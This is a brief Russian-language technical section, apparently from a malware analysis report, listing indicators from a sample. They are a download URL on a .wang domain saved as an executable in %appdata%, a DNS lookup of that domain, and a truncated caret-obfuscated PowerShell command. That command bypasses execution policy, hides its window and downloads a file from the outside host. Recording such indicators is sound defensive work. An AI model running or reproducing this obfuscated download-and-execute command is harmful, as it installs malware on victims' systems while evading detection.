Техническая информация
- http://transporingsytw.wang/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^Ow^eR^S^H^E^L^l.e^xe -^ex^E^cuti^ONPolic^Y^ Byp^ASs^ ^-NoP^RO^FIL^E -WIND^O^wStyl^e hIDDEn^ (^nE^W^-^OBJEC^t sySteM^.Net^.^w^eb^clIent).D^O^WNLoA^d^F^iL^e('http://transpor...
- DNS ASK tr#####ringsytw.wang
- '<SYSTEM32>\cmd.exe' /c "p^Ow^eR^S^H^E^L^l.e^xe -^ex^E^cuti^ONPolic^Y^ Byp^ASs^ ^-NoP^RO^FIL^E -WIND^O^wStyl^e hIDDEn^ (^nE^W^-^OBJEC^t sySteM^.Net^.^w^eb^clIent).D^O^WNLoA^d^F^iL^e('http://transpor...' (со скрытым окном)